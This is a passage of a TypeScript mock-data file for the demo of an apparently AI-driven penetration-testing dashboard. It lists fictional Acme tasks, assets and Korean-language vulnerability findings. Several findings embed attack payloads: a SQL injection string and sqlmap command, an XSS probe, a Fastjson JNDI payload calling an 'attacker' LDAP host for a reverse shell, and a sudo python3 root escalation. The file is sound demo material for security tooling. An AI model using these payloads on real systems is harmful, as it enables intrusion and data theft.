ci / go (push) Waiting to run
ci / go-db (agent) (push) Waiting to run
ci / go-db (config) (push) Waiting to run
ci / go-db (db) (push) Waiting to run
ci / go-db (evidence) (push) Waiting to run
ci / go-db (llmrec) (push) Waiting to run
ci / go-db (server) (push) Waiting to run
web / web (push) Waiting to run
docs / links (push) Canceled after 0s
detections / detections (push) Canceled after 0s
4321 lines
144 KiB
TypeScript
4321 lines
144 KiB
TypeScript
// Rich mock dataset for the Vercel demo (NEXT_PUBLIC_MOCK=1). Shapes track the
|
||
// current backend contract in lib/api.ts + lib/types.ts. All data is static and
|
||
// self-consistent (one company "Acme", a few tasks, findings, exploration graph,
|
||
// sessions/activity, traffic, agents, etc.) so every page looks populated.
|
||
|
||
import type {
|
||
Activity,
|
||
Agent,
|
||
AgentDetail,
|
||
Asset,
|
||
Audit,
|
||
Company,
|
||
Conversation,
|
||
ConvTokenSummary,
|
||
DailyTokenBucket,
|
||
Edge,
|
||
Finding,
|
||
FindingAsset,
|
||
InterceptApprovalRow,
|
||
InterceptAudit,
|
||
InterceptPending,
|
||
InterceptRule,
|
||
LLMPoolStatus,
|
||
LLMProfile,
|
||
LLMTask,
|
||
MCPServer,
|
||
MCPTool,
|
||
MissingSkill,
|
||
PromptVar,
|
||
PromptVersion,
|
||
SessionTokenUsage,
|
||
Settings,
|
||
SkillCall,
|
||
SkillItem,
|
||
Stats,
|
||
Task,
|
||
TaskCategory,
|
||
TaskNode,
|
||
TaskTemplate,
|
||
TokenTotal,
|
||
TokenUsage,
|
||
Tool,
|
||
TrafficDetail,
|
||
TrafficHost,
|
||
TrafficResp,
|
||
} from "@/lib/types";
|
||
|
||
const T = (iso: string) => iso; // readability helper for timestamps
|
||
|
||
// ── Tasks ──────────────────────────────────────────────────────────────────
|
||
export const ACTIVE_TASK = "t-acme-web";
|
||
|
||
export const tasks: Task[] = [
|
||
{
|
||
id: "t-acme-web",
|
||
category_id: 1,
|
||
category_name: "외부 평가",
|
||
description: "Acme 공식 사이트·관리자 백오피스 외부 침투 (acme.com)",
|
||
goal: "acme.com 백오피스 관리자 권한을 획득하고, 사용자 민감 데이터를 읽을 수 있는지 확인한다.",
|
||
status: "running",
|
||
created_at: T("2026-07-24T09:12:00Z"),
|
||
created_unix: 1785489120,
|
||
last_activity: T("2026-07-26T03:58:22Z"),
|
||
last_activity_unix: 1785643102,
|
||
paused: false,
|
||
active: true,
|
||
in_flight: 3,
|
||
findings: { critical: 1, high: 2, medium: 1, low: 0 },
|
||
stalled: false,
|
||
goals_total: 5,
|
||
goals_met: 2,
|
||
engine_mode: "exploring",
|
||
llm_profile_id: 1,
|
||
llm_profile_ids: [1, 2],
|
||
active_llm_profile_id: 1,
|
||
llm_failover_state: "ready",
|
||
source_task_ids: [],
|
||
tokens: { input_tokens: 1284500, output_tokens: 96320, cache_read_tokens: 890400, cache_write_tokens: 132000 },
|
||
},
|
||
{
|
||
id: "t-acme-api",
|
||
category_id: 2,
|
||
category_name: "API 특화",
|
||
description: "api.acme.com 권한 우회·인젝션 테스트",
|
||
goal: "api.acme.com 주문/사용자 엔드포인트의 권한 우회(IDOR)·인젝션 위험을 평가한다.",
|
||
status: "running",
|
||
created_at: T("2026-07-25T14:05:00Z"),
|
||
created_unix: 1785592500,
|
||
last_activity: T("2026-07-26T03:40:10Z"),
|
||
last_activity_unix: 1785642010,
|
||
paused: false,
|
||
active: false,
|
||
in_flight: 2,
|
||
findings: { critical: 0, high: 1, medium: 1, low: 0 },
|
||
stalled: false,
|
||
goals_total: 4,
|
||
goals_met: 1,
|
||
engine_mode: "exploring",
|
||
llm_profile_id: 1,
|
||
llm_profile_ids: [1, 2],
|
||
active_llm_profile_id: 1,
|
||
llm_failover_state: "ready",
|
||
source_task_ids: ["t-acme-web"],
|
||
tokens: { input_tokens: 642300, output_tokens: 51200, cache_read_tokens: 401000, cache_write_tokens: 60000 },
|
||
},
|
||
{
|
||
id: "t-shop-pay",
|
||
category_id: 2,
|
||
category_name: "API 특화",
|
||
description: "shop.acme.com 결제·주문 경로",
|
||
goal: "결제·주문 엔드포인트의 권한 우회, 금액 변조, 경쟁 상태 위험을 평가한다.",
|
||
status: "paused",
|
||
created_at: T("2026-07-22T08:30:00Z"),
|
||
created_unix: 1785313800,
|
||
last_activity: T("2026-07-23T18:40:10Z"),
|
||
last_activity_unix: 1785436810,
|
||
paused: true,
|
||
active: false,
|
||
in_flight: 0,
|
||
stalled: false,
|
||
goals_total: 4,
|
||
goals_met: 1,
|
||
engine_mode: "paused",
|
||
llm_profile_id: 2,
|
||
llm_profile_ids: [2, 1],
|
||
active_llm_profile_id: 2,
|
||
llm_failover_state: "ready",
|
||
source_task_ids: ["t-acme-web", "t-acme-api"],
|
||
tokens: { input_tokens: 233000, output_tokens: 18700, cache_read_tokens: 120000, cache_write_tokens: 22000 },
|
||
},
|
||
{
|
||
id: "t-vpn-edge",
|
||
category_id: 1,
|
||
category_name: "외부 평가",
|
||
description: "외부 노출면 정찰 (VPN / 경계 서비스)",
|
||
goal: "acme.com이 외부에 노출한, 악용 가능한 경계 서비스를 식별한다.",
|
||
status: "done",
|
||
created_at: T("2026-07-18T08:00:00Z"),
|
||
created_unix: 1784966400,
|
||
completed_at: T("2026-07-20T22:11:00Z"),
|
||
completed_unix: 1785190260,
|
||
last_activity: T("2026-07-20T22:11:00Z"),
|
||
last_activity_unix: 1785190260,
|
||
paused: false,
|
||
active: false,
|
||
in_flight: 0,
|
||
stalled: false,
|
||
goals_total: 3,
|
||
goals_met: 3,
|
||
engine_mode: "idle",
|
||
llm_profile_id: 1,
|
||
llm_profile_ids: [1],
|
||
active_llm_profile_id: 1,
|
||
llm_failover_state: "ready",
|
||
source_task_ids: [],
|
||
tokens: { input_tokens: 512000, output_tokens: 40100, cache_read_tokens: 300000, cache_write_tokens: 41000 },
|
||
},
|
||
];
|
||
|
||
export const taskCategories: TaskCategory[] = [
|
||
{
|
||
id: 1,
|
||
name: "외부 평가",
|
||
task_count: 2,
|
||
created_at: T("2026-07-18T08:00:00Z"),
|
||
updated_at: T("2026-07-25T08:00:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
name: "API 특화",
|
||
task_count: 2,
|
||
created_at: T("2026-07-19T08:00:00Z"),
|
||
updated_at: T("2026-07-24T08:00:00Z"),
|
||
},
|
||
];
|
||
|
||
export const taskTemplates: TaskTemplate[] = [
|
||
{
|
||
id: 1,
|
||
name: "외부 웹 침투",
|
||
description:
|
||
"대상의 인터넷 노출면에 블랙박스 침투 테스트를 수행하고, 사이트·엔드포인트·흔한 관리자 진입점을 포괄한다.",
|
||
goal: "미인증 접근, 민감 데이터 유출, 서버 장악으로 이어질 수 있는 보안 문제를 식별하고 검증한다.",
|
||
created_at: T("2026-07-20T08:00:00Z"),
|
||
updated_at: T("2026-07-25T08:00:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
name: "API 권한 우회 특화",
|
||
description: "대상 API 의 인증, 객체 수준 인가, 역할 경계를 중심으로 특화 테스트를 수행한다.",
|
||
goal: "IDOR, 수평적 권한 우회, 수직적 권한 우회, 대량 데이터 접근 위험이 존재하는지 확인한다.",
|
||
created_at: T("2026-07-19T08:00:00Z"),
|
||
updated_at: T("2026-07-24T08:00:00Z"),
|
||
},
|
||
];
|
||
|
||
export const getTask = (id: string) => tasks.find((t) => t.id === id);
|
||
|
||
const grandTotal: TokenTotal = tasks.reduce(
|
||
(a, t) => ({
|
||
input_tokens: a.input_tokens + (t.tokens?.input_tokens ?? 0),
|
||
output_tokens: a.output_tokens + (t.tokens?.output_tokens ?? 0),
|
||
cache_read_tokens: a.cache_read_tokens + (t.tokens?.cache_read_tokens ?? 0),
|
||
cache_write_tokens: a.cache_write_tokens + (t.tokens?.cache_write_tokens ?? 0),
|
||
}),
|
||
{ input_tokens: 0, output_tokens: 0, cache_read_tokens: 0, cache_write_tokens: 0 },
|
||
);
|
||
|
||
// ── Stats ──────────────────────────────────────────────────────────────────
|
||
export function stats(
|
||
taskId?: string,
|
||
state: { tasks?: readonly Task[]; findings?: readonly Finding[]; activeTask?: string } = {},
|
||
): Stats & { active_task?: unknown } {
|
||
const taskList = state.tasks ?? tasks;
|
||
const findingList = state.findings ?? findings;
|
||
const base: Stats = {
|
||
assets: assets.length,
|
||
engine_mode: "exploring",
|
||
llm_configured: true,
|
||
roe_enabled: true,
|
||
findings_confirmed: findingList.filter((f) => f.severity !== "low").length,
|
||
};
|
||
const selectedTaskID = taskId ?? state.activeTask ?? ACTIVE_TASK;
|
||
const t = taskList.find((item) => item.id === selectedTaskID);
|
||
if (!t) return base;
|
||
return {
|
||
...base,
|
||
engine_mode: t.engine_mode ?? "idle",
|
||
findings_confirmed: findingList.filter((f) => f.task_id === t.id).length,
|
||
active_task: {
|
||
id: t.id,
|
||
in_flight: t.in_flight,
|
||
goals_total: t.goals_total,
|
||
goals_met: t.goals_met,
|
||
engine_mode: t.engine_mode,
|
||
paused: t.paused,
|
||
},
|
||
};
|
||
}
|
||
|
||
// ── Company + Assets (new unified model) ─────────────────────────────────────
|
||
export const companies: Company[] = [
|
||
{
|
||
id: 1,
|
||
name: "Acme Corp",
|
||
logo: "",
|
||
asset_count: 18,
|
||
scope: [
|
||
{ id: 1, company_id: 1, kind: "domain", domain: "acme.com", raw: "acme.com", reason: "주 도메인" },
|
||
{ id: 2, company_id: 1, kind: "cidr", net: "203.0.113.0/24", raw: "203.0.113.0/24" },
|
||
{ id: 3, company_id: 1, kind: "ip", net: "198.51.100.20", raw: "198.51.100.20" },
|
||
],
|
||
},
|
||
];
|
||
|
||
export const assets: Asset[] = [
|
||
{
|
||
id: 1,
|
||
type: "root_domain",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
domain: "acme.com",
|
||
root_domain: "acme.com",
|
||
icp: "ICP-2021-XXXX",
|
||
record_type: "A",
|
||
record_value: ["203.0.113.10"],
|
||
last_seen: T("2026-07-26T02:00:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
type: "subdomain",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
domain: "www.acme.com",
|
||
root_domain: "acme.com",
|
||
record_type: "CNAME",
|
||
record_value: "acme.com",
|
||
last_seen: T("2026-07-26T02:01:00Z"),
|
||
},
|
||
{
|
||
id: 3,
|
||
type: "subdomain",
|
||
company_id: 1,
|
||
task_ids: [2],
|
||
domain: "api.acme.com",
|
||
root_domain: "acme.com",
|
||
record_type: "A",
|
||
record_value: ["203.0.113.11"],
|
||
last_seen: T("2026-07-26T02:02:00Z"),
|
||
},
|
||
{
|
||
id: 4,
|
||
type: "subdomain",
|
||
company_id: 1,
|
||
task_ids: [3],
|
||
domain: "shop.acme.com",
|
||
root_domain: "acme.com",
|
||
record_type: "A",
|
||
record_value: ["203.0.113.12"],
|
||
last_seen: T("2026-07-26T02:03:00Z"),
|
||
},
|
||
{
|
||
id: 5,
|
||
type: "subdomain",
|
||
company_id: 1,
|
||
task_ids: [4],
|
||
domain: "vpn.acme.com",
|
||
root_domain: "acme.com",
|
||
record_type: "A",
|
||
record_value: ["198.51.100.20"],
|
||
last_seen: T("2026-07-20T02:00:00Z"),
|
||
},
|
||
{
|
||
id: 6,
|
||
type: "subdomain",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
domain: "admin.acme.com",
|
||
root_domain: "acme.com",
|
||
record_type: "A",
|
||
record_value: ["203.0.113.10"],
|
||
last_seen: T("2026-07-26T02:04:00Z"),
|
||
},
|
||
{
|
||
id: 7,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [1, 2],
|
||
ip: "203.0.113.10",
|
||
c_segment: "203.0.113.0",
|
||
open_ports: [
|
||
{ port: 80, service: "http" },
|
||
{ port: 443, service: "https" },
|
||
{ port: 22, service: "ssh" },
|
||
],
|
||
last_seen: T("2026-07-26T02:05:00Z"),
|
||
},
|
||
{
|
||
id: 8,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [2],
|
||
ip: "203.0.113.11",
|
||
c_segment: "203.0.113.0",
|
||
open_ports: [{ port: 443, service: "https" }],
|
||
last_seen: T("2026-07-26T02:06:00Z"),
|
||
},
|
||
{
|
||
id: 9,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [4],
|
||
ip: "198.51.100.20",
|
||
c_segment: "198.51.100.0",
|
||
open_ports: [
|
||
{ port: 443, service: "https" },
|
||
{ port: 500, service: " isakmp" },
|
||
],
|
||
last_seen: T("2026-07-20T02:00:00Z"),
|
||
},
|
||
{
|
||
id: 10,
|
||
type: "service",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "203.0.113.10",
|
||
port: 443,
|
||
service_type: "https",
|
||
service_name: "nginx/1.24.0",
|
||
last_seen: T("2026-07-26T02:07:00Z"),
|
||
},
|
||
{
|
||
id: 11,
|
||
type: "service",
|
||
company_id: 1,
|
||
task_ids: [4],
|
||
ip: "198.51.100.20",
|
||
port: 22,
|
||
service_type: "ssh",
|
||
service_name: "OpenSSH 8.9p1",
|
||
last_seen: T("2026-07-20T02:00:00Z"),
|
||
},
|
||
{
|
||
id: 12,
|
||
type: "app",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "https://www.acme.com",
|
||
app_name: "Acme 공식 사이트",
|
||
category: "corp",
|
||
status_code: 200,
|
||
content_length: 48213,
|
||
page_title: "Acme Corp - 기업 사이트",
|
||
technologies: ["Nginx", "React", "Cloudflare"],
|
||
favicon_mmh3: "-1580860059",
|
||
last_seen: T("2026-07-26T02:08:00Z"),
|
||
},
|
||
{
|
||
id: 13,
|
||
type: "app",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "https://admin.acme.com",
|
||
app_name: "관리자 백오피스",
|
||
category: "admin",
|
||
status_code: 200,
|
||
content_length: 12044,
|
||
page_title: "Acme Admin 로그인",
|
||
technologies: ["Nginx", "Vue", "Element-UI"],
|
||
last_seen: T("2026-07-26T02:09:00Z"),
|
||
},
|
||
{
|
||
id: 14,
|
||
type: "app",
|
||
company_id: 1,
|
||
task_ids: [2],
|
||
url: "https://api.acme.com",
|
||
app_name: "REST API",
|
||
category: "api",
|
||
status_code: 401,
|
||
content_length: 45,
|
||
page_title: "",
|
||
technologies: ["Kong", "Node.js"],
|
||
last_seen: T("2026-07-26T02:10:00Z"),
|
||
},
|
||
{
|
||
id: 15,
|
||
type: "endpoint",
|
||
company_id: 1,
|
||
task_ids: [2],
|
||
url: "https://api.acme.com/v1/orders",
|
||
method: "GET",
|
||
status_code: 200,
|
||
params: [
|
||
{ name: "id", in: "query" },
|
||
{ name: "page", in: "query" },
|
||
],
|
||
last_seen: T("2026-07-26T02:11:00Z"),
|
||
},
|
||
{
|
||
id: 16,
|
||
type: "endpoint",
|
||
company_id: 1,
|
||
task_ids: [2],
|
||
url: "https://api.acme.com/v1/users/me",
|
||
method: "GET",
|
||
status_code: 200,
|
||
last_seen: T("2026-07-26T02:12:00Z"),
|
||
},
|
||
{
|
||
id: 17,
|
||
type: "endpoint",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "https://admin.acme.com/login",
|
||
method: "POST",
|
||
status_code: 200,
|
||
params: [{ name: "username" }, { name: "password" }],
|
||
last_seen: T("2026-07-26T02:13:00Z"),
|
||
},
|
||
{
|
||
id: 18,
|
||
type: "endpoint",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "https://www.acme.com/search",
|
||
method: "GET",
|
||
status_code: 200,
|
||
params: [{ name: "q", in: "query" }],
|
||
last_seen: T("2026-07-26T02:14:00Z"),
|
||
},
|
||
// 内网资产(DMZ→内网横向发现)
|
||
{
|
||
id: 19,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.0.20.15",
|
||
c_segment: "10.0.20.0",
|
||
open_ports: [
|
||
{ port: 80, service: "http" },
|
||
{ port: 22, service: "ssh" },
|
||
],
|
||
last_seen: T("2026-07-25T15:40:00Z"),
|
||
},
|
||
{
|
||
id: 20,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.10.10.10",
|
||
c_segment: "10.10.10.0",
|
||
open_ports: [
|
||
{ port: 88, service: "kerberos" },
|
||
{ port: 389, service: "ldap" },
|
||
{ port: 445, service: "smb" },
|
||
],
|
||
last_seen: T("2026-07-25T21:00:00Z"),
|
||
},
|
||
{
|
||
id: 21,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.10.10.5",
|
||
c_segment: "10.10.10.0",
|
||
open_ports: [{ port: 445, service: "smb" }],
|
||
last_seen: T("2026-07-25T21:00:00Z"),
|
||
},
|
||
{
|
||
id: 22,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.10.10.20",
|
||
c_segment: "10.10.10.0",
|
||
open_ports: [{ port: 8080, service: "http-proxy" }],
|
||
last_seen: T("2026-07-25T21:00:00Z"),
|
||
},
|
||
{
|
||
id: 23,
|
||
type: "service",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.10.10.20",
|
||
port: 8080,
|
||
service_type: "http",
|
||
service_name: "Jenkins 2.289",
|
||
last_seen: T("2026-07-25T21:35:00Z"),
|
||
},
|
||
{
|
||
id: 24,
|
||
type: "service",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.10.10.10",
|
||
port: 445,
|
||
service_type: "smb",
|
||
service_name: "Windows Server 2019 DC",
|
||
last_seen: T("2026-07-25T23:55:00Z"),
|
||
},
|
||
{
|
||
id: 25,
|
||
type: "app",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "http://10.10.10.20:8080",
|
||
app_name: "Jenkins (내부)",
|
||
category: "ci",
|
||
status_code: 200,
|
||
content_length: 14200,
|
||
page_title: "Jenkins Dashboard",
|
||
technologies: ["Jenkins", "Java"],
|
||
last_seen: T("2026-07-25T21:35:00Z"),
|
||
},
|
||
{
|
||
id: 26,
|
||
type: "endpoint",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "http://10.10.10.20:8080/script",
|
||
method: "GET",
|
||
status_code: 200,
|
||
last_seen: T("2026-07-25T21:35:00Z"),
|
||
},
|
||
];
|
||
|
||
export const assetCounts: Record<string, number> = assets.reduce<Record<string, number>>((m, a) => {
|
||
m[a.type] = (m[a.type] ?? 0) + 1;
|
||
return m;
|
||
}, {});
|
||
|
||
// assetRef 把资产 id 变成 finding 上挂的资产引用(label 与后端 coverageNodeLabel
|
||
// 的取值顺序一致:URL > 域名 > IP > 应用名)。「按资产」视图的树就是靠这些引用
|
||
// 把发现挂到资产上的。
|
||
function assetRef(id: number): FindingAsset {
|
||
const asset = assets.find((candidate) => candidate.id === id);
|
||
if (!asset) throw new Error(`mock assetRef: unknown asset ${id}`);
|
||
return {
|
||
id: String(id),
|
||
type: asset.type,
|
||
label: asset.url || asset.domain || asset.ip || asset.app_name || String(id),
|
||
};
|
||
}
|
||
|
||
// ── Findings ─────────────────────────────────────────────────────────────────
|
||
export const findings: Finding[] = [
|
||
{
|
||
id: "f-1",
|
||
assets: [assetRef(18)],
|
||
vulnclass: "SQL Injection",
|
||
name: "공식 사이트 검색 엔드포인트의 오류 기반 SQL 인젝션",
|
||
severity: "high",
|
||
status: "pending",
|
||
report:
|
||
'## 취약점 개요\n\n`www.acme.com/search` 의 `q` 파라미터에 **오류 기반 SQL 인젝션**(MSSQL)이 존재하며, 데이터베이스 버전과 스키마는 물론 민감 데이터까지 읽을 수 있습니다.\n\n## 영향\n\n- `acme_prod` 데이터베이스의 테이블 구조와 사용자/주문 데이터를 읽을 수 있음\n- 오류 메시지가 그대로 노출되어 익스플로잇을 빠르게 구성할 수 있어 위험이 높음\n\n## 재현 절차\n\n1. 오류 기반 인젝션을 유발합니다:\n\n```\nGET /search?q=1\' AND 1=CONVERT(int,@@version)--\n```\n\n2. 응답에 MSSQL 버전 오류가 노출되어 인젝션이 가능함을 확인합니다\n3. 데이터베이스를 추가로 열거합니다: `sqlmap -u "https://www.acme.com/search?q=1" --dbs`\n\n## 조치 권고\n\n- 모든 쿼리를 파라미터화 쿼리/프리페어드 스테이트먼트로 바꿔 문자열 연결을 없앱니다\n- 운영 환경의 상세 오류 노출을 끕니다\n- 데이터베이스 계정 권한을 최소화하고 `xp_cmdshell` 같은 위험한 확장을 비활성화합니다\n',
|
||
summary: "www.acme.com/search 의 q 파라미터에 오류 기반 SQL 인젝션 존재",
|
||
evidence:
|
||
"GET /search?q=1' AND 1=CONVERT(int,@@version)-- → MSSQL 버전 오류 메시지를 반환하며, 데이터베이스 구조를 읽을 수 있습니다.",
|
||
intent_id: "i-2",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
|
||
ts: T("2026-07-26T01:20:00Z"),
|
||
},
|
||
{
|
||
id: "f-2",
|
||
assets: [assetRef(15)],
|
||
vulnclass: "IDOR",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "api.acme.com/v1/orders?id= 에서 권한을 우회해 타인의 주문을 조회 가능",
|
||
evidence: "id=1001 을 id=1002 로 바꾸면 타인의 주문(배송지·휴대폰 번호 포함)이 반환되며, 소유자 검증이 없습니다.",
|
||
intent_id: "i-5",
|
||
task_id: "t-acme-api",
|
||
task_description: "api.acme.com 권한 우회·인젝션 테스트",
|
||
ts: T("2026-07-26T02:44:00Z"),
|
||
},
|
||
{
|
||
id: "f-3",
|
||
assets: [assetRef(3)],
|
||
vulnclass: "Weak JWT",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "API JWT 가 약한 키를 사용해 오프라인에서 크랙·위조 가능",
|
||
evidence: "HS256, 키 'secret', john 으로 5초 만에 크랙 → 임의의 sub 를 위조해 권한을 우회할 수 있습니다.",
|
||
task_id: "t-acme-api",
|
||
task_description: "api.acme.com 권한 우회·인젝션 테스트",
|
||
ts: T("2026-07-26T03:02:00Z"),
|
||
},
|
||
{
|
||
id: "f-4",
|
||
assets: [assetRef(18)],
|
||
vulnclass: "Reflected XSS",
|
||
severity: "medium",
|
||
status: "pending",
|
||
summary: "검색 페이지가 q 파라미터를 이스케이프하지 않아 반사형 XSS 발생",
|
||
evidence: "q=<script>alert(document.domain)</script> 가 결과 제목에 그대로 노출됩니다.",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
|
||
ts: T("2026-07-25T22:10:00Z"),
|
||
},
|
||
{
|
||
id: "f-5",
|
||
assets: [assetRef(2)],
|
||
vulnclass: "Exposed .git",
|
||
severity: "medium",
|
||
status: "pending",
|
||
summary: "www.acme.com 이 .git 디렉터리를 노출해 소스 코드를 복원 가능",
|
||
evidence: "GET /.git/HEAD → 200; git-dumper 로 백엔드 소스 코드와 데이터베이스 접속 문자열 주석을 복원했습니다.",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
|
||
ts: T("2026-07-25T20:30:00Z"),
|
||
},
|
||
{
|
||
id: "f-6",
|
||
assets: [assetRef(17)],
|
||
vulnclass: "Default Credentials",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "admin.acme.com 관리자 백오피스의 기본 비밀번호 admin/admin123",
|
||
evidence: "로그인에 성공해 관리자 백오피스에 진입했고, 사용자와 주문을 관리할 수 있습니다.",
|
||
intent_id: "i-3",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
|
||
ts: T("2026-07-26T03:50:00Z"),
|
||
},
|
||
{
|
||
id: "f-7",
|
||
assets: [assetRef(17)],
|
||
vulnclass: "Open Redirect",
|
||
severity: "low",
|
||
status: "pending",
|
||
summary: "로그인 후 next 파라미터로 임의 주소 리다이렉트 가능",
|
||
evidence: "/login?next=https://evil.example 로 로그인하면 302 로 외부 사이트로 이동합니다.",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
|
||
ts: T("2026-07-25T19:12:00Z"),
|
||
},
|
||
{
|
||
id: "f-8",
|
||
assets: [assetRef(17)],
|
||
vulnclass: "Missing Rate Limit",
|
||
severity: "medium",
|
||
status: "pending",
|
||
summary: "로그인 엔드포인트에 속도 제한이 없어 무차별 대입 공격 가능",
|
||
evidence: "분당 1,000회를 보내도 잠기지 않고, 캡차도 없습니다.",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
|
||
ts: T("2026-07-25T18:40:00Z"),
|
||
},
|
||
{
|
||
id: "f-9",
|
||
assets: [assetRef(16)],
|
||
vulnclass: "Verbose Error",
|
||
severity: "low",
|
||
status: "pending",
|
||
summary: "API 가 500 오류에서 스택 트레이스를 반환해 경로와 프레임워크 버전이 노출",
|
||
evidence: "500 오류를 유발하면 Node.js 스택 트레이스가 반환되어 절대 경로와 의존성 버전이 노출됩니다.",
|
||
task_id: "t-acme-api",
|
||
task_description: "api.acme.com 권한 우회·인젝션 테스트",
|
||
ts: T("2026-07-25T23:05:00Z"),
|
||
},
|
||
{
|
||
id: "f-10",
|
||
assets: [assetRef(4)],
|
||
vulnclass: "Outdated Component",
|
||
severity: "medium",
|
||
status: "pending",
|
||
summary: "shop 이 알려진 RCE 가 있는 구버전 컴포넌트를 사용",
|
||
evidence: "핑거프린팅으로 컴포넌트 v2.3.1 을 식별했고, 이는 CVE-2024-xxxx 역직렬화 RCE 에 해당합니다.",
|
||
task_id: "t-shop-pay",
|
||
task_description: "shop.acme.com 결제·주문 경로",
|
||
ts: T("2026-07-23T15:00:00Z"),
|
||
},
|
||
// ── 外网→内网纵深链路上的高危发现(active task)──
|
||
{
|
||
id: "f-11",
|
||
vulnclass: "Hardcoded Credentials",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "유출된 소스 코드에 하드코딩된 데이터베이스 자격 증명 sa/Acme@2021",
|
||
evidence:
|
||
"git-dumper 로 www.acme.com/.git 을 복원해 config.php 를 얻었고, 평문 DB 비밀번호가 들어 있었으며 이후 내부망에서 재사용 가능함이 확인되었습니다.",
|
||
intent_id: "ig",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
|
||
ts: T("2026-07-25T20:36:00Z"),
|
||
},
|
||
{
|
||
id: "f-12",
|
||
assets: [assetRef(4)],
|
||
vulnclass: "Deserialization RCE",
|
||
name: "shop 쇼핑몰 Fastjson 역직렬화 원격 명령 실행",
|
||
severity: "critical",
|
||
status: "confirmed",
|
||
report:
|
||
'## 취약점 개요\n\n`shop.acme.com` 의 `/api/import` 엔드포인트가 **Fastjson 1.2.24** 로 사용자가 제어할 수 있는 JSON 을 파싱하면서 `safeMode` 를 켜지 않아, `@type` 으로 임의 클래스를 지정해 **JNDI 인젝션 → 원격 명령 실행**을 유발할 수 있습니다.\n\n## 영향\n\n- 공격자가 인증 없이 DMZ 웹 서버에서 임의 명령을 실행할 수 있음(`www-data@dmz-web01`)\n- 이후 권한 상승과 결합하면 내부망 진입 발판이 됨\n\n## 재현 절차\n\n1. JNDI payload 를 구성합니다:\n\n```json\n{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}\n```\n\n2. `POST /api/import`, `Content-Type: application/json`\n3. 대상이 dnslog 로 콜백하고 리버스 셸이 떨어집니다\n\n## 조치 권고\n\n- Fastjson 을 **1.2.83+** 로 업그레이드하고 `safeMode` 를 켭니다\n- `/api/import` 에 인증과 출처 검증을 추가합니다\n- 아웃바운드 제한: 업무 서버가 LDAP/RMI 로 능동적으로 외부 연결하지 못하게 막습니다\n',
|
||
summary: "shop.acme.com Fastjson 1.2.24 역직렬화 원격 명령 실행",
|
||
evidence:
|
||
"POST /api/import 로 JNDI payload(@type:JdbcRowSetImpl)를 전송 → dnslog 로 콜백이 돌아오고 리버스 셸이 떨어집니다(www-data@dmz-web01).",
|
||
intent_id: "i7",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
|
||
ts: T("2026-07-25T15:40:00Z"),
|
||
},
|
||
{
|
||
id: "f-13",
|
||
assets: [assetRef(19)],
|
||
vulnclass: "Privilege Escalation",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "DMZ 발판에서 sudo NOPASSWD 오설정으로 로컬 권한 상승(root) 가능",
|
||
evidence:
|
||
"sudo -l 에 (ALL) NOPASSWD: /usr/bin/python3 이 표시됨 → sudo python3 -c 'os.setuid(0);os.system(\"/bin/sh\")' 로 바로 root 를 획득합니다.",
|
||
intent_id: "i8",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
|
||
ts: T("2026-07-25T16:20:00Z"),
|
||
},
|
||
{
|
||
id: "f-14",
|
||
assets: [assetRef(19), assetRef(21)],
|
||
vulnclass: "Network Segmentation",
|
||
severity: "medium",
|
||
status: "pending",
|
||
summary: "DMZ 호스트가 이중 NIC 로 내부망에 직결되어 경계 격리가 무력화됨",
|
||
evidence:
|
||
"dmz-web01 의 두 번째 NIC 가 10.10.10.0/24 에 있어, DMZ 에서 도메인 컨트롤러/파일 서버/Jenkins 에 바로 도달하며 네트워크 분할을 우회합니다.",
|
||
intent_id: "i9",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 공식 사이트·관리자 백오피스 외부 침투",
|
||
ts: T("2026-07-25T21:00:00Z"),
|
||
},
|
||
{
|
||
id: "f-15",
|
||
assets: [assetRef(26)],
|
||
vulnclass: "Unauthenticated RCE",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "내부 Jenkins 의 미인증 Script Console 원격 명령 실행",
|
||
evidence:
